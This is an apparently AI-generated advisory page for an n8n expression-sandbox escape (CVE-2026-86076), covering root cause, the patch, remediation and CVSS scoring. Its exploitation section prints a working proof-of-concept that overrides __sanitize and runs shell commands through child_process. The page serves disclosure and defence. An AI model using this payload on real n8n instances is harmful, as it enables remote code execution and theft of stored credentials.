CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-86076

CVE-2026-86076: Remote Code Execution via Expression Sandbox Escape in n8n

Amit Schendel
Amit Schendel
Senior Security Researcher

Sep 10, 2026·7 min read·2 visits

Executive Summary (TL;DR)

A missing ClassBody traversal in n8n's expression sanitizer allows low-privileged users to redefine the '__sanitize' resolver on custom classes, escaping the sandbox to execute arbitrary Node.js commands.

An expression sandbox escape vulnerability exists in n8n due to a missing AST traversal check on ClassBody in the PrototypeSanitizer. This allows authenticated users with low privileges to bypass property checks and achieve remote code execution.

Vulnerability Overview

n8n is an extensible workflow automation platform that allows users to design and execute complex logical tasks by connecting diverse nodes. In many workflows, users write inline template expressions or custom JavaScript blocks to dynamically manipulate input data. To prevent untrusted workflow designs from executing arbitrary code on the underlying operating system or accessing forbidden object properties, n8n compiles these expressions within a sandboxed runtime environment. The core implementation of this sandbox relies on AST rewriting to inspect and restrict property access.

The AST parsing mechanism, specifically defined in the PrototypeSanitizer class within packages/workflow/src/expression-sandboxing.ts, serves as the security boundary. When expressions access properties dynamically, the compiler rewrites the operation to inspect the keys at runtime using a validation function. This validation function, dynamically referenced as __sanitize, blocks access to properties like constructor, __proto__, and prototype.

A critical design flaw was discovered in the AST parsing logic where the analyzer did not traverse or validate structures inside a ClassBody node. This omission allows an authenticated user to declare a class containing a field or method named __sanitize. Because this field is resolved dynamically through the runtime's evaluation context, the attacker-defined sanitization bypass overrides the built-in sandbox security checks, enabling arbitrary property access and remote code execution.

Root Cause Analysis

The root cause of this sandbox escape resides in the interaction between static AST-based safety checks and dynamic JavaScript scope resolution. The PrototypeSanitizer is built using a visitor pattern that traverses the nodes of a compiled AST. When the compiler encounters variable declarations, functions, catch blocks, and class definitions, it runs validation checks to ensure reserved identifiers such as __sanitize or ___n8n_data are not declared or reassigned. However, the traversal logic completely lacked a visitor hook for ClassBody AST nodes.

Because the compiler did not visit ClassBody nodes, any field declarations or method definitions within a class were ignored during static validation. An attacker could therefore declare a class containing a field named __sanitize without triggering any validation exceptions or compiler rejections. The static validator only checked the class declaration identifier itself, leaving the internal body completely unverified.

At execution time, the sandboxed template engine translates dynamic brackets access like obj[key] to obj[___n8n_data.__sanitize(key)]. If the dynamic expression is evaluated within a class method, the runtime scope resolves the call to the contextual this reference. When the class method executes this['constructor'], the compiled AST attempts to resolve this.__sanitize('constructor'). Because the class instance itself declares a custom, unrestricted __sanitize field, the JavaScript runtime executes this attacker-defined function instead of the official sanitizer, returning the 'constructor' string unmodified and bypassing the safety boundary.

Code-Level Patch Analysis

To remediate the vulnerability, n8n developers updated packages/workflow/src/expression-sandboxing.ts by adding an AST visitor for ClassBody nodes and introducing helper utilities to statically parse property keys. The patched code includes the visitClassBody hook, which examines the body array of each class structure. This ensures that any static declarations of class properties, methods, or constructors are validated prior to execution.

// Patched AST check targeting ClassBody nodes
visitClassBody(path) {
    // Traverses internal nodes of the class body
    this.traverse(path);
 
    const members = path.node.body;
    if (!Array.isArray(members)) return;
 
    // Iterate through every defined member inside the class
    for (const member of members) {
        if (!isAstNode(member)) continue;
        
        // Avoid checking dynamic computed identifier keys (which are variables)
        if (member.computed && isAstNode(member.key) && member.key.type === 'Identifier') continue;
        
        // Extract static names from Identifiers, Literals, or StringLiterals
        const memberKey = getReservedMemberKey(member.key);
        if (memberKey !== undefined) {
            // Fail compilation if the member overrides a reserved name like '__sanitize'
            throw new ExpressionReservedVariableError(memberKey);
        }
    }
}

Additionally, the patch introduced getReservedMemberKey and getStaticTemplateValue functions to safely inspect computed and static member names. This prevents attackers from bypassing the check using string or template literals. By statically analyzing the keys and comparing them against the RESERVED_VARIABLE_NAMES set, the sandbox compiler successfully detects and blocks any class member declaration that attempts to hijack sandbox-related helper methods.

This patch provides complete validation for class scopes, effectively blocking the dynamic override vector. Because the compiler now rejects any class definitions containing the reserved identifiers, the execution engine is prevented from resolving the hijacked sanitizer dynamically. This effectively mitigates the sandbox escape without impacting legitimate class expressions that utilize standard, non-reserved property names.

Exploitation Mechanics

Exploitation of CVE-2026-86076 requires low-privileged credentials to author or edit workflows within n8n. The attacker begins by introducing a custom Node.js execution step (such as a Code Node) or crafting an inline template expression within an arbitrary standard node. The payload contains a class structure designed to override the sanitizer function.

// Exploitation payload illustrating the sanitizer override
class SandboxEscape {
  // Declare the class field to override the sandbox resolver
  __sanitize = function(val) {
    return val; // Bypasses security validations by returning the string unchanged
  };
 
  exploit() {
    // Resolves the class constructor via hijacked property resolution
    const classConstructor = this['constructor'];
    
    // Reaches the global Function constructor to instantiate raw code execution
    const FunctionConstructor = classConstructor['constructor'];
    
    // Command to execute on the hosting server
    const payload = "const cp = globalThis.process.mainModule.require('child_process'); return cp.execSync('id; uname -a').toString();";
    const trigger = FunctionConstructor(payload);
    return trigger();
  }
}
 
const escapeInstance = new SandboxEscape();
escapeInstance.exploit();

When this payload is submitted, the workflow engine compiles the expression without error because the vulnerable engine fails to evaluate the internal members of SandboxEscape. Once executed, the workflow engine runs escapeInstance.exploit(). The lookup of this['constructor'] is transformed into this[this.__sanitize('constructor')] by the compiler, which subsequently calls the local overridden __sanitize function.

The hijacked __sanitize function returns the string 'constructor' to the compiler wrapper, allowing direct access to the Function class constructor. This constructor is evaluated under the context of the main Node.js process, which allows executing operating system commands through the child_process module. The command execution inherits the privileges of the system user running the n8n application process.

Impact Assessment

The successful exploitation of CVE-2026-86076 has serious security implications for both the hosting infrastructure and user browser environments. On the server side, an attacker with workflow creation permissions can execute arbitrary shell commands under the context of the n8n service account. This access permits attackers to read sensitive configuration values, extract connected credentials or API tokens, and pivot to adjacent internal networks.

In addition to backend code execution, this vulnerability facilitates a client-side execution path. Because workflow expressions are also evaluated within the n8n Editor UI during the node preview phase, any user viewing or editing a shared workflow containing the payload will trigger the JavaScript execution inside their local browser session. This stored cross-user JavaScript execution (stored XSS equivalent) can be leveraged to hijack session tokens, perform actions on behalf of admin users, or manipulate workflow configurations.

The official CVSS v4.0 score is rated at 8.7 (High), reflecting the network-based attack vector and high impact across the confidentiality, integrity, and availability of the system. While exploitation requires low-privileged user access to edit workflows, the overall lack of direct user interaction requirements once the workflow is run or viewed dramatically elevates the threat posture of exposed n8n interfaces.

Remediation and Mitigation

The primary and recommended remediation is updating the n8n installation to the patched versions. Organizations should identify their active branch and apply the corresponding security update. For installations on the v1.x branch, the patch is available starting with version 1.123.76. For the v2.37.x branch, users must upgrade to at least 2.37.7, and for the v2.38.x branch, to at least 2.38.2.

In environments where immediate upgrading is not feasible, administrators must implement access control restrictions to limit the attack surface. Disabling self-registration and enforcing strict Role-Based Access Control (RBAC) ensures only highly trusted administrators can create or edit workflow configurations. Because the exploit relies on the presence of the __sanitize string within workflow nodes, database monitoring can be used to identify potential abuse.

Administrators can execute targeted database queries to scan stored workflows for indicators of compromise. Executing a search query against the workflow_entity database table for occurrences of the string __sanitize can identify malicious payloads. Any workflow found containing this property should be deactivated and reviewed immediately for potential code injection artifacts.

Technical Appendix

CVSS Score
8.7/ 10
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N

Affected Systems

n8n Workflow Automation Platform

Affected Versions Detail

Product
Affected Versions
Fixed Version
n8n
n8n
< 1.123.761.123.76
n8n
n8n
>= 2.0.0, < 2.37.72.37.7
n8n
n8n
>= 2.38.0, < 2.38.22.38.2
AttributeDetail
CWE IDCWE-94
Attack VectorNetwork
CVSS Score8.7 (High)
ImpactRemote Code Execution (RCE) / Stored Cross-User JavaScript Execution
Exploit StatusPoC (Proof of Concept) Feasible
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1203Exploitation for Client Execution
Execution
CWE-94
Improper Control of Generation of Code ('Code Injection')

The platform constructs or evaluates code using input containing code-like structures, which can allow arbitrary execution of malicious payloads.

Vulnerability Timeline

Release commits and fixes pushed to n8n repository.
2026-09-02
Official Security Advisory published under GHSA-hw8v-xxg5-vvvx.
2026-09-08
CVE Identifier CVE-2026-86076 registered.
2026-09-08
NVD processes vulnerability metadata.
2026-09-09

References & Sources

  • [1]n8n Security Advisory GHSA-hw8v-xxg5-vvvx
  • [2]n8n Release 1.123.76
  • [3]n8n Release 2.37.7
  • [4]n8n Release 2.38.2

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•1 minute ago•CVE-2026-86083
7.7

CVE-2026-86083: Sandbox Escape and Remote Code Execution via Code-Printer Injection in n8n Legacy Expression Engine

A critical sandbox escape vulnerability exists in the legacy expression engine of n8n. By leveraging Shared Builtin Tampering combined with Code-Printer Injection, an authenticated attacker can hijack the mutable global JSON.stringify function. This hijacking allows the attacker to inject arbitrary Node.js source code into internal execution contexts during code generation, escaping the isolated-vm sandbox and achieving full remote code execution on the host system.

Amit Schendel
Amit Schendel
0 views•6 min read
•about 1 hour ago•CVE-2026-87017
4.3

CVE-2026-87017: Broken Object-Level Authorization (BOLA) in Open WebUI Knowledge Search

A Broken Object-Level Authorization (BOLA) vulnerability exists in Open WebUI starting from version 0.7.0 up to (but not including) 0.11.1. The flaw resides in the platform's built-in knowledge search tool, which constructs metadata filters to scope database queries based on user permissions. However, eleven of the fifteen shipped vector database backends accepted these filters but silently ignored them, enabling authenticated users to retrieve and enumerate the metadata of inaccessible or private knowledge bases.

Alon Barad
Alon Barad
2 views•7 min read
•about 3 hours ago•CVE-2026-86075
8.7

CVE-2026-86075: Unauthenticated Persistent Storage Exhaustion via OAuth Dynamic Client Registration Endpoint in n8n

In vulnerable configurations of n8n, the OAuth Dynamic Client Registration endpoint implements field size validation for redirect_uris but fails to enforce proper limits on client_name and grant_types. This allows an unauthenticated remote attacker to submit arbitrarily large values for these fields, leading to persistent database and disk storage exhaustion.

Alon Barad
Alon Barad
4 views•5 min read
•about 4 hours ago•CVE-2026-86081
7.1

CVE-2026-86081: Regular Expression Denial of Service in n8n Git Node

A Regular Expression Denial of Service (ReDoS) vulnerability exists in n8n due to inefficient validation in its default blocked-file-pattern matching mechanism. This flaw can be triggered during Git operations, allowing authenticated workflow editors to cause resource exhaustion and completely freeze the n8n application process.

Amit Schendel
Amit Schendel
5 views•5 min read
•about 4 hours ago•CVE-2025-21587
7.4

CVE-2025-21587: Timing Side-Channel Vulnerability in JSSE RSA Decryption

CVE-2025-21587 is a high-severity timing side-channel vulnerability in the Java Secure Socket Extension (JSSE) component of Oracle Java SE and GraalVM. The flaw allows unauthenticated network attackers to perform Bleichenbacher-style (Marvin) decryption oracle attacks, potentially compromising TLS session confidentiality.

Amit Schendel
Amit Schendel
6 views•7 min read
•about 5 hours ago•CVE-2026-86082
7.1

CVE-2026-86082: Server-Side Request Forgery and Credential Leakage in n8n OpenAI Chat Model Node

CVE-2026-86082 is a critical Server-Side Request Forgery (SSRF) and credential leakage vulnerability in n8n. The flaw exists in the OpenAI Chat Model node's searchModels function, which fails to enforce credential domain restrictions when populating the model dropdown list. This allows an authenticated workflow editor to exfiltrate plaintext OpenAI API keys to an arbitrary attacker-controlled domain by specifying a custom baseURL override.

Alon Barad
Alon Barad
6 views•8 min read